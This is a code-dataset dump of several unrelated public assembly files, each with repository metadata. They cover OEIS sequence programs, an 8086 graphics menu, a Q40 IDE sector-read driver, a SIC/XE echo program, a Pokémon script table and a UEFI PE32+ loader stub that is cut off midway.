'addresses_A_ht', 'AVXalign': False, 'congruent': 2, 'size': 16, 'same': False, 'NT': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_D_ht', 'AVXalign': False, 'congruent': 1, 'size': 32, 'same': False, 'NT': False}} {'OP': 'REPM', 'src': {'type': 'addresses_D_ht', 'congruent': 2, 'same': False}, 'dst': {'type': 'addresses_normal_ht', 'congruent': 0, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_D_ht', 'AVXalign': False, 'congruent': 2, 'size': 32, 'same': True, 'NT': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_UC_ht', 'AVXalign': False, 'congruent': 1, 'size': 8, 'same': False, 'NT': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_UC_ht', 'AVXalign': False, 'congruent': 0, 'size': 32, 'same': False, 'NT': False}} {'OP': 'REPM', 'src': {'type': 'addresses_A_ht', 'congruent': 4, 'same': False}, 'dst': {'type': 'addresses_WC_ht', 'congruent': 6, 'same': False}} {'OP': 'REPM', 'src': {'type': 'addresses_UC_ht', 'congruent': 2, 'same': False}, 'dst': {'type': 'addresses_normal_ht', 'congruent': 10, 'same': False}} {'OP': 'REPM', 'src': {'type': 'addresses_A_ht', 'congruent': 11, 'same': False}, 'dst': {'type': 'addresses_A_ht', 'congruent': 10, 'same': False}} {'00': 21829} 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 */

34.016129

2,999

0.657776

93427b4359f25bd92b83df6abe5814dcb1fba677

471

asm

Assembly

oeis/004/A004260.asm

neoneye/loda-programs

84790877f8e6c2e821b183d2e334d612045d29c0

[ "Apache-2.0" ]

11

2021-08-22T19:44:55.000Z

2022-03-20T16:47:57.000Z

oeis/004/A004260.asm

neoneye/loda-programs

84790877f8e6c2e821b183d2e334d612045d29c0

[ "Apache-2.0" ]

9

2021-08-29T13:15:54.000Z

2022-03-09T19:52:31.000Z

oeis/004/A004260.asm

neoneye/loda-programs

84790877f8e6c2e821b183d2e334d612045d29c0

[ "Apache-2.0" ]

3

2021-08-22T20:56:47.000Z

2021-09-29T06:26:12.000Z

; A004260: a(n) = round(10*log_2(n)). ; Submitted by Jamie Morken(s1) ; 0,10,16,20,23,26,28,30,32,33,35,36,37,38,39,40,41,42,42,43,44,45,45,46,46,47,48,48,49,49,50,50,50,51,51,52,52,52,53,53,54,54,54,55,55,55,56,56,56,56,57,57,57,58,58,58,58,59,59,59,59,60,60,60,60,60,61,61,61,61,61,62,62,62,62,62,63,63,63,63,63,64,64,64,64,64,64,65,65,65,65,65,65,66,66,66,66,66,66,66 mul $0,2 add $0,2 pow $0,10 bin $0,2 mov $1,1 lpb $0 div $0,4 add $1,1 lpe mov $0,$1 sub $0,11

29.4375

300

0.63482

48455d55d46908e76b635146f20ee8d19253d09e

2,291

asm

Assembly

stage4++/graphics_main.asm

amrwc/8086-graphics

396ebd087f7747f13fee9b24bb41b54c53f43b9d

[ "MIT" ]

5

2019-11-23T10:07:23.000Z

2021-05-22T08:13:45.000Z

stage4++/graphics_main.asm

amrwc/8086-graphics

396ebd087f7747f13fee9b24bb41b54c53f43b9d

[ "MIT" ]

null

stage4++/graphics_main.asm

amrwc/8086-graphics

396ebd087f7747f13fee9b24bb41b54c53f43b9d

[ "MIT" ]

2

2020-11-03T14:48:04.000Z

2021-05-23T03:50:13.000Z

%include "animation_circle.asm" %include "triangle.asm" %include "triangle_obtuse.asm" %include "print_functions_graphics.asm" Graphics_Main: call Graphics_Main_Menu ;____________________ main_menu_get_key: xor ah, ah ; Get a keystroke int 16h cmp ah, 01h ; exit jne main_menu_option1 ret main_menu_option1: cmp ah, 02h jne main_menu_option2 call Animation_Circle jmp Graphics_Main main_menu_option2: cmp ah, 03h jne main_menu_option3 call Triangle jmp Graphics_Main main_menu_option3: cmp ah, 04h jne main_menu_get_key call Triangle_Obtuse jmp Graphics_Main ;____________________ Graphics_Set_Display_Mode: push ax mov ax, 0013h ; Set display mode to 320x200px, 256 colours, 1 page. int 10h pop ax ret ;____________________ Graphics_Done: push ax xor ax, ax ; getchar() int 16h mov ax, 0003h ; Return to text mode int 10h pop ax ret ;____________________ Graphics_Main_Menu: push word graphics_line_menu_greeting call Console_WriteLine_16 call New_Line_16 push word graphics_main_menu_prompt call Console_WriteLine_16 push word graphics_main_menu_option1 call Console_WriteLine_16 push word graphics_main_menu_option2 call Console_WriteLine_16 push word graphics_main_menu_option3 call Console_WriteLine_16 call New_Line_16 push word graphics_menu_prompt_exit call Console_WriteLine_16 ret ;____________________ ; Data graphics_line_menu_greeting: db 'Stage 4++: Features that did not fit in Stage 4.', 0 graphics_main_menu_prompt: db 'Choose one of the options below:', 0 graphics_main_menu_option1: db '1: Circle animation', 0 graphics_main_menu_option2: db '2: Triangle drawing', 0 graphics_main_menu_option3: db '3: Obtuse triangle drawing', 0 graphics_menu_prompt_exit: db 'Press (ESC) to exit the program.', 0 press_any_key: db 'Press any key to return...', 0

26.034091

94

0.642951

b2282eeeed41af324efb5fc8ac44c3735c7fa081

4,359

asm

Assembly

dv3/q40/hd/ide_rsect.asm

olifink/smsqe

c546d882b26566a46d71820d1539bed9ea8af108

[ "BSD-2-Clause" ]

null

dv3/q40/hd/ide_rsect.asm

olifink/smsqe

c546d882b26566a46d71820d1539bed9ea8af108

[ "BSD-2-Clause" ]

null

dv3/q40/hd/ide_rsect.asm

olifink/smsqe

c546d882b26566a46d71820d1539bed9ea8af108

[ "BSD-2-Clause" ]

null

; Q40 DV3 IDE Read Sector V3.00 1998 Tony Tebby ; Provide for LBA FAT32 access & byteswap V3.01 W. Lenerz 2017 Nov 21 ; ; If the drive is addressed with LLBA and not CHS, then it is presumed ; that the drive needs a byteswap ; each word read must have the two bytes ; composing it swapped. This is due to the assumption that such a drive ; is actual a qxl.win ype file on a memory card (or any other FAT32 device) ; and the MC68K and Intel processors get the byte order differently. ; The lba flag is not only used elsewhere to make sure that the drive is ; actually addressed via LBA, but also to inverse byte order. ; ; The assumption lba = qxlwin file on a fat32 drive is not ** necessarily ** ; true but should be so within the Qx0 universe. section dv3 xdef id_rdirect ; read sector for direct sector IO xdef id_rsint ; read sector internal xdef id_rsecid ; read ID sector xdef id_rsecs ; read sector (special, key in d1) xref id_diradd ; direct sector IO addressing xref id_cmdw xref.s ideo.data xref.s ideo.stat include 'dev8_keys_err' include 'dev8_keys_q40' include 'dev8_dv3_keys' include 'dev8_dv3_hd_keys' include 'dev8_dv3_hd_ide_keys' include 'dev8_mac_assert' drv_led equ hdl_freq+1 ;+++ ; This routine reads sectors from a hard disk for direct sector I/O ; ; d0 cr sector number / error code ; d2 c p number of sectors ; d7 c p drive ID / number ; a1 c p address to read into ; a3 c p linkage block ; a4 c p drive definition ; ; status return 0, ERR.NC or ERR.MCHK ; ;--- id_rdirect assert ddf.drct-1 tst.b ddf_ftype(a4) ; real direct access? bge.s id_rsint ; ... no jsr id_diradd ; scrumple address for direct sector bne.s idr_rts ;+++ ; This routine reads sectors from an IDE disk at an even address ; ; d0 cr sector number / error code ; d2 c p number of sectors ; d7 c p drive ID / number ; a1 c p address to read into ; a3 c p linkage block ; a4 c p drive definition ; ; status return 0, ERR.NC or ERR.MCHK ; ;--- id_rsint idr.reg reg d1 move.l d1,-(sp) assert hdl.hold,-1 subq.b #hdl.acss,hdl_acss(a3) ; hold poll move.l d0,d1 tst.b ddf_lba(a4) ; check for "real sector?" beq.s idr_rsect ; no move.l d0,d1 ; ... yes, set CC again bpl.s idr_rsect ; real sector bsr.s id_rsecid ; read ID sector bra.s idr_exrp idr_rsect bsr.s idr_do ; read ble.s idr_done bsr.s idr_retry ; try again ble.s idr_done bsr.s idr_retry ; try again idr_done beq.s idr_exrp idr_mchk moveq #err.mchk,d0 idr_exrp addq.b #hdl.acss,hdl_acss(a3) ; restore poll move.l (sp)+,d1 tst.l d0 idr_rts rts ;****************** ;+++ ; This routine reads the ID sector from an IDE disk ; ; d0 r error code ; d1 r sector address = 0 ; d2 r number of sectors = 1 ; d7 c p drive ID / number ; a1 c p address to read into ; a3 c p linkage block ; a4 c p drive definition ; ; status return 0, ERR.NC or ERR.MCHK ; ;--- id_rsecid moveq #ide.idnt,d0 moveq #0,d1 ; address 0 moveq #1,d2 ; one sector bra.s id_rsecs idr_retry idr_do moveq #ide.read,d0 ;+++ ; This routine reads sectors from an IDE disk (special key) ; ; d0 cr command / error code ; d1 c p sector address ; d2 c p number of sectors ; d7 c p drive ID / number ; a1 c p address to read into ; a3 c p linkage block ; a4 c p drive definition ; ; status return 0, ERR.NC or ERR.MCHK ; ;--- id_rsecs idrs.reg reg a1/d1/d2/d3/d4/a5 movem.l idrs.reg,-(sp) tst.b ddf_lba(a4) bne.s idr_cmd add.l ddf_dtop-4(a4),d1 ; when in LBA mode, always add partition offset idr_cmd jsr id_cmdw ; read sector(s) bne.s idrs_exit idrs_sector move.l hdl_1sec(a3),d3 lsl.l #2,d3 ; allow for run-up idrs_wait btst #ide..drq,ideo.stat(a5) ; wait for data request bne.s idrs_copy subq.l #1,d3 bgt.s idrs_wait moveq #err.mchk,d0 bra.s idrs_check idrs_copy move.w #255,d3 tst.b ddf_lba(a4) ; is it LBA ? bne.s idrs_cloop ; no, no need to switch bytes idrs_lba ; LBA addressed drive, presume byte switsh move.w ideo.data(a5),d4 rol.w #8,d4 ; switch bytes move.w d4,(a1)+ ; copy data dbra d3,idrs_lba idrs_cpok subq.b #1,d2 bne.s idrs_sector idrs_check btst #ide..err,ideo.stat(a5) ; check for error beq.s idrs_exit ; ... none moveq #1,d0 idrs_exit movem.l (sp)+,idrs.reg tst.l d0 rts idrs_cloop move.w ideo.data(a5),(a1)+ ; copy data dbra d3,idrs_cloop bra.s idrs_cpok end

22.82199

76

0.697178

2d4c89fa97232be72f8316a3d17223d83bf3648f

3,427

asm

Assembly

obj_files/echo.asm

blaz-r/SIC-XE-simulator

c148657a120331eea26e137db219c0f60662a1e8

[ "MIT" ]

null

obj_files/echo.asm

blaz-r/SIC-XE-simulator

c148657a120331eea26e137db219c0f60662a1e8

[ "MIT" ]

null

obj_files/echo.asm

blaz-r/SIC-XE-simulator

c148657a120331eea26e137db219c0f60662a1e8

[ "MIT" ]

null

echo START 0 JSUB stackinit LDCH TESTCHR JSUB char JSUB nl LDA #STRING JSUB string JSUB nl LDA COOLN JSUB num JSUB nl HALT J HALT .____________OUTPUT SEGMENT______________________ char WD OUTPUT RSUB nl STL @stackptr JSUB stackpush STA @stackptr JSUB stackpush LDCH NEWL WD OUTPUT JSUB stackpop LDA @stackptr JSUB stackpop LDL @stackptr RSUB string STL @stackptr JSUB stackpush STA SADDR LOOP CLEAR A LDCH @SADDR COMP #0 JEQ STREND JSUB char LDA #1 ADD SADDR STA SADDR J LOOP STREND JSUB stackpop LDL @stackptr RSUB SADDR RESW 1 num STL @stackptr JSUB stackpush STS @stackptr JSUB stackpush STT @stackptr JSUB stackpush STB @stackptr JSUB stackpush STX @stackptr JSUB stackpush STA @stackptr JSUB stackpush LDX #7 . start saving at the end LDT #10 . mod 10 RMO A, S . start by making A = S = num .modulo NLOOP RMO S, A . S and A contain num DIVR T, A . get whole part in A RMO A, B . save whole part in B for next loop MULR T, A . mul 10 with A COMP #0 . if whole part is 0 end on next jeq SUBR A, S . remove from whole num in S to get remainder LDA #48 . ascii for 0 ADDR S, A . add to S to get ascii for that num STCH ONUM,X . store remainder as ascii JEQ NEND RMO B, S . move whole part to S for next loop LDA #1 SUBR A, X . move X back 1, for next digit J NLOOP NEND LDA #ONUM ADDR X, A JSUB string JSUB stackpop LDA @stackptr JSUB stackpop LDX @stackptr JSUB stackpop LDB @stackptr JSUB stackpop LDT @stackptr JSUB stackpop LDS @stackptr JSUB stackpop LDL @stackptr RSUB ONUM RESB 8 BYTE 0 . null terminator NEWL BYTE 10 .____________END OF OUTPUT SEGMENT______________________ OUTPUT BYTE 1 TESTCHR BYTE C'x' STRING BYTE C'jodl lojz, ta 0 bi mogla bit ignorirana' BYTE 0 COOLN WORD 42069 .____________STACK SEGMENT__________________ stackinit STA SAVEA_S LDA #SBASE SUB #3 STA stackptr LDA SAVEA_S RSUB stackpush STA SAVEA_S LDA stackptr SUB #3 STA stackptr LDA SAVEA_S RSUB stackpop STA SAVEA_S LDA stackptr ADD #3 STA stackptr LDA SAVEA_S RSUB SAVEA_S RESW 1 stackptr RESW 1 ALLOC RESW 256 SBASE EQU * .____________STACK SEGMENT__________________

19.809249

69

0.467756

a03823cce2da04305653f714d26723711c47f7bc

314

asm

Assembly

scripts/SafariZoneCenterRestHouse.asm

opiter09/ASM-Machina

75d8e457b3e82cc7a99b8e70ada643ab02863ada

[ "CC0-1.0" ]

1

2022-02-15T00:19:44.000Z

scripts/SafariZoneCenterRestHouse.asm

opiter09/ASM-Machina

75d8e457b3e82cc7a99b8e70ada643ab02863ada

[ "CC0-1.0" ]

null

scripts/SafariZoneCenterRestHouse.asm

opiter09/ASM-Machina

75d8e457b3e82cc7a99b8e70ada643ab02863ada

[ "CC0-1.0" ]

null

SafariZoneCenterRestHouse_Script: jp EnableAutoTextBoxDrawing SafariZoneCenterRestHouse_TextPointers: dw SafariZoneRestHouse1Text1 dw SafariZoneRestHouse1Text2 SafariZoneRestHouse1Text1: text_far _SafariZoneRestHouse1Text1 text_end SafariZoneRestHouse1Text2: text_far _SafariZoneRestHouse1Text2 text_end

20.933333

39

0.904459

dbe541bdb66ff0b4ce43c933f32ea1c75b0323bf

591

asm

Assembly

programs/oeis/319/A319390.asm

neoneye/loda

afe9559fb53ee12e3040da54bd6aa47283e0d9ec

[ "Apache-2.0" ]

22

2018-02-06T19:19:31.000Z

2022-01-17T21:53:31.000Z

programs/oeis/319/A319390.asm

neoneye/loda

afe9559fb53ee12e3040da54bd6aa47283e0d9ec

[ "Apache-2.0" ]

41

2021-02-22T19:00:34.000Z

2021-08-28T10:47:47.000Z

programs/oeis/319/A319390.asm

neoneye/loda

afe9559fb53ee12e3040da54bd6aa47283e0d9ec

[ "Apache-2.0" ]

5

2021-02-24T21:14:16.000Z

2021-08-09T19:48:05.000Z

; A319390: a(n) = a(n-1) + 2*a(n-2) - 2*a(n-3) - a(n-4) + a(n-5), a(0)=1, a(1)=2, a(2)=3, a(3)=6, a(4)=8. ; 1,2,3,6,8,13,16,23,27,36,41,52,58,71,78,93,101,118,127,146,156,177,188,211,223,248,261,288,302,331,346,377,393,426,443,478,496,533,552,591,611,652,673,716,738,783,806,853,877,926,951,1002,1028,1081,1108,1163,1191,1248,1277,1336,1366,1427,1458,1521,1553,1618,1651,1718,1752,1821,1856,1927,1963,2036,2073,2148,2186,2263,2302,2381,2421,2502,2543,2626,2668,2753,2796,2883,2927,3016,3061,3152,3198,3291,3338,3433,3481,3578,3627,3726 add $0,1 mul $0,3 div $0,2 bin $0,2 div $0,3 add $0,1

59.1

429

0.675127

d9bba65943d7b042733e134a13044379788620aa

21,041

asm

Assembly

tools/dy-uefi/x64.asm

Tiihala/Dancy

75f42246faafed0576d4c41f4e572b400379a98c

[ "Unlicense" ]

11

2017-08-24T07:08:04.000Z

2022-03-17T22:30:15.000Z

tools/dy-uefi/x64.asm

Tiihala/Dancy

75f42246faafed0576d4c41f4e572b400379a98c

[ "Unlicense" ]

2

2018-03-03T11:20:13.000Z

2018-03-11T14:02:08.000Z

tools/dy-uefi/x64.asm

Tiihala/Dancy

75f42246faafed0576d4c41f4e572b400379a98c

[ "Unlicense" ]

3

2017-09-13T02:33:39.000Z

2021-09-10T14:37:51.000Z

;; ;; Copyright (c) 2019 Antti Tiihala ;; ;; Permission to use, copy, modify, and/or distribute this software for any ;; purpose with or without fee is hereby granted, provided that the above ;; copyright notice and this permission notice appear in all copies. ;; ;; THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES ;; WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF ;; MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ;; ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES ;; WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN ;; ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF ;; OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. ;; ;; dy-uefi/x64.asm ;; PE32+ UEFI Image ;; ;; Build instructions ;; nasm -f bin -o x64.bin x64.asm ;; org 0 bits 16 dos_stub_header: db 'MZ' ; magic (Mark Zbikowski) dw 0x0000 ; bytes used in the last block dw 0x0004 ; blocks dw 0x0000 ; relocation entries dw 0x0020 ; header size / 16 dw 0x0000 ; additional memory (min) dw 0xFFFF ; additional memory (max) dw 0x0000 ; relative SS dw 0x0400 ; initial SP dw 0x0000 ; checksum dw 0x0040 ; initial IP dw 0x0000 ; relative CS dw 0x0040 ; relocation entry offset dw 0x0000 ; zero for a normal program times 0x003C - ($ - $$) db 0 dw (pe_uefi_header) ; pointer to pe_uefi_header times 0x0200 - ($ - $$) db 0 dos_stub_data: db 'Dancy Operating System' db 0x0D, 0x0A, 0x24 times 0x0240 - ($ - $$) db 0 dos_stub_code: mov ax, cs ; ax = code segment mov ds, ax ; use the same segment mov ax, 0x0900 ; write message xor dx, dx ; offset (dos_stub_data) int 0x21 ; dos system call mov ax, 0x4C00 ; exit with zero int 0x21 ; dos system call db 0xEB, 0xFE ; endless loop times 0x0800 - ($ - $$) db 0 pe_uefi_header: db 'PE', 0x00, 0x00 ; signature (Portable Executable) dw 0x8664 ; machine (AMD64) dw 0x0002 ; number of sections dd 0x00000000 ; time date stamp dd 0x00000000 ; pointer to symbol table dd 0x00000000 ; number of symbols dw 0x00F0 ; size of optional header dw 0x0022 ; characteristics dw 0x020B ; magic number (PE32+) db 0x00 ; major linker version db 0x00 ; minor linker version dd 0x00001000 ; size of code patch1: dd 0x00001000 ; size of initialized data dd 0x00000000 ; size of uninitialized data dd 0x00001000 ; address of entrypoint dd 0x00001000 ; base of code dq 0x0000000180000000 ; imagebase dd 0x00001000 ; section alignment dd 0x00001000 ; file alignment dw 0x0000 ; major operating system version dw 0x0000 ; minor operating system version dw 0x0000 ; major image version dw 0x0000 ; minor image version dw 0x0000 ; major subsystem version dw 0x0000 ; minor subsystem version dd 0x00000000 ; win32 version value patch2: dd 0x00003000 ; size of image dd 0x00001000 ; size of headers dd 0x00000000 ; checksum dw 0x000A ; subsystem dw 0x0000 ; dll characteristics dq 0x0000000000010000 ; size of stack reserve dq 0x0000000000001000 ; size of stack commit dq 0x0000000000010000 ; size of heap reserve dq 0x0000000000001000 ; size of heap commit dd 0x00000000 ; loader flags dd 0x00000010 ; number of rva and sizes dd 0x00000000, 0x00000000 ; export table dd 0x00000000, 0x00000000 ; import table dd 0x00000000, 0x00000000 ; resource table dd 0x00000000, 0x00000000 ; exception table dd 0x00000000, 0x00000000 ; certificate table dd 0x00000000, 0x00000000 ; base relocation table dd 0x00000000, 0x00000000 ; debug dd 0x00000000, 0x00000000 ; architecture dd 0x00000000, 0x00000000 ; global ptr dd 0x00000000, 0x00000000 ; tls table dd 0x00000000, 0x00000000 ; load config table dd 0x00000000, 0x00000000 ; bound import dd 0x00000000, 0x00000000 ; iat dd 0x00000000, 0x00000000 ; delay import descriptor dd 0x00000000, 0x00000000 ; clr runtime header dd 0x00000000, 0x00000000 ; reserved db '.text', 0x00, 0x00, 0x00 ; name dd 0x00001000 ; virtual size dd 0x00001000 ; virtual address dd 0x00001000 ; size of raw data dd 0x00001000 ; pointer to raw data dd 0x00000000 ; pointer to relocations dd 0x00000000 ; pointer to line numbers dw 0x0000 ; number of relocations dw 0x0000 ; number of line numbers dd 0x60000020 ; characteristics db '.data', 0x00, 0x00, 0x00 ; name patch3: dd 0x00001000 ; virtual size dd 0x00002000 ; virtual address patch4: dd 0x00001000 ; size of raw data dd 0x00002000 ; pointer to raw data dd 0x00000000 ; pointer to relocations dd 0x00000000 ; pointer to line numbers dw 0x0000 ; number of relocations dw 0x0000 ; number of line numbers dd 0xC0000040 ; characteristics bits 64 %define EFI_AllocatePages 0x28 %define EFI_BootServices 0x60 %define EFI_ConOut 0x40 %define EFI_Exit 0xD8 %define EFI_FreePages 0x30 %define EFI_OutputString 0x08 %define EFI_Stall 0xF8 %define PAGES_TO_ALLOCATE 0x200 times 0x1000 - ($ - $$) db 0 uefi_text_section: push r12 ; save register r12 lea r12, [rsp] ; r12 = original stack pointer - 8 and rsp, 0xFFFFFFFFFFFFFFF0 ; align stack pointer push rcx ; push "ImageHandle" push rdx ; push "SystemTablePointer" push r12 ; push register r12 push 0 ; push 0 (address of allocated memory) mov ecx, 1 ; rcx = "Type", "AllocateMaxAddress" mov edx, 1 ; rdx = "MemoryType", "EfiLoaderCode" db 0x41, 0xB8 ; r8 = "Pages" dd PAGES_TO_ALLOCATE ; number of pages lea r9, [rsp] ; address of allocated memory mov dword [r9], 0xEFFFFFFF ; r9 = "Memory" mov rax, [rsp+16] ; rax = "SystemTablePointer" mov rax, [rax+EFI_BootServices] ; rax = "BootServices" sub rsp, 32 ; stack shadow space (allocate) call [rax+EFI_AllocatePages] ; call UEFI function test rax, rax ; test zero jz short copy_object_file mov rcx, [rsp+48] ; rcx = "SystemTablePointer" mov rcx, [rcx+EFI_ConOut] ; rcx = "ConOut" lea rdx, [rel alloc_error] ; rdx = address of message call [rcx+EFI_OutputString] ; call UEFI function lea rcx, [5000000] ; rcx = "Microseconds" mov rax, [rsp+48] ; rax = "SystemTablePointer" mov rax, [rax+EFI_BootServices] ; rax = "BootServices" call [rax+EFI_Stall] ; call UEFI function mov rsp, r12 ; restore original stack pointer - 8 ; "The registers rbx, rbp, rdi, rsi, r12, r13, r14, r15 are ; considered nonvolatile and must be saved and restored." pop r12 ; restore register r12 ret ; return to firmware copy_object_file: mov eax, [rsp+32] ; rax = allocated memory (low dword) mov rdi, [rsp+32] ; rdi = allocated memory (full) sub rdi, rax ; test high dword jnz short .halt xchg rax, rdi ; rax = 0 ; rdi = address of allocated memory cmp edi, 0xEFFFFFFF ; test validity jae short .halt test edi, 0x00000FFF ; test validity jnz short .halt mov ecx, [rel patch4] ; rcx = "size of raw data (data)" lea rsi, [rel uefi_object_file] ; source data cld ; clear direction flag rep movsb ; move data to allocated memory mov ecx, 4096*PAGES_TO_ALLOCATE ; rcx = 4096*PAGES_TO_ALLOCATE sub ecx, [rel patch4] ; rcx = sub "size of raw data (data)" jc short .halt ; (should not happen) cld ; clear direction flag rep stosb ; clear allocated memory (al = 0) add rsp, 32 ; adjust stack pointer pop rbx ; rbx = address of allocated memory cmp r12, [byte rsp+0] ; stack pointer test jne short .halt add rsp, 8 ; adjust stack pointer pop r9 ; r9 = "SystemTablePointer" pop r8 ; r8 = "ImageHandle" sub rsp, 16 ; allocate stack space (16 bytes) lea rsi, [rbx] ; esi = object file jmp short uefi_in_x64 .halt: hlt ; halt jmp short .halt uefi_in_x64: mov ecx, [byte rsi+0] ; first dword of object file mov ebp, [byte rsi+16] ; check optional header and flags sub ecx, (0x8664+0x40000) ; test magic word and sections or ecx, ebp ; both registers must be zero jnz short .halt1 ; simple validity test mov eax, [rel patch4] ; eax = data size mov [rsi+(20+(3*40)+20)], eax ; set bss offset lea rdi, [rsp] ; rdi = array of four stack variables mov ecx, 4 ; ecx = four sections lea edx, [rsi+20+20] ; edx = first section .secs: mov eax, [rdx] ; eax = section offset add eax, ebx ; eax = text address jc short .halt1 ; simple validity test mov [rdi], eax ; save lea rdx, [rdx+40] ; next section lea rdi, [rdi+4] ; next stack variable sub ecx, 1 ; decrement counter jnz short .secs mov ecx, [rsi+12] ; ecx = number of symbols mov edx, 0x0000FFFF ; edx = 0x0000FFFF (bit mask) mov edi, [rsi+8] ; edi = symbol table offset lea edi, [rbx+rdi] ; edi = symbol table address jmp short .syms .halt1: hlt ; halt jmp short .halt1 ; should not happen .syms: mov eax, [rdi+12] ; ax = section number and eax, edx ; clear upper bits and test zero jz short .halt2 ; externals are not allowed cmp eax, 0x0004 ; test upper limit ja short .next ; ("forward compatibility") mov eax, [rsp+4*rax-4] ; eax = section address cmp dword [byte rdi+0], strict dword 'star' jne short .fix cmp dword [byte rdi+4], strict dword 't' jne short .fix mov ebp, [rdi+8] ; ebp = symbol value lea ebp, [rax+rbp] ; ebp = start address .fix: add [rdi+8], eax ; fix symbol value jc short .halt2 ; simple validity test .next: lea edi, [rdi+18] ; edi = next symbol sub rcx, 1 ; decrement symbols jnz short .syms mov esi, 20 ; esi = text section entry offset jmp short relocate .halt2: hlt ; halt jmp short .halt2 ; should not happen relocate: mov ecx, [rbx+rsi+32] ; cx = relocation entries and ecx, 0xFFFF ; clear upper bits and test zero jz short .next mov eax, [rbx+rsi+20] ; eax = section data offset add eax, ebx ; eax = section data address mov edx, [rbx+rsi+24] ; edx = relocation entries offset add edx, ebx ; edx = relocation entries address mov [byte rsp+0], ecx ; "counter" mov [byte rsp+4], eax ; "section data" mov [byte rsp+8], edx ; "relocation entry" mov eax, [dword rbx+8] ; eax = symbol table offset add eax, ebx ; eax = symbol table address mov [rsp+12], eax ; "symbol table" .fix: call relocation_entry ; relocate add dword [rsp+8], 10 ; next entry sub dword [rsp], 1 ; decrement counter jnz short .fix .next: lea esi, [rsi+40] ; next section entry cmp esi, 140 ; test end of relocatable sections jb short relocate je short jump_to_start ; ("extra safety", must be equal) .halt: hlt ; halt jmp short .halt ; should not happen jump_to_start: xor eax, eax ; rax = 0 mov rsp, r12 ; restore original stack pointer - 8 mov [rsp], rax ; write zero ; Data section is used for saving "ImageHandle", "SystemTablePointer" ; and "ObjectFile" for the "exit_to_firmware" procedure. lea rax, [rel (uefi_object_file+0xC0)] and rsp, 0xFFFFFFFFFFFFFFF0 ; align stack pointer 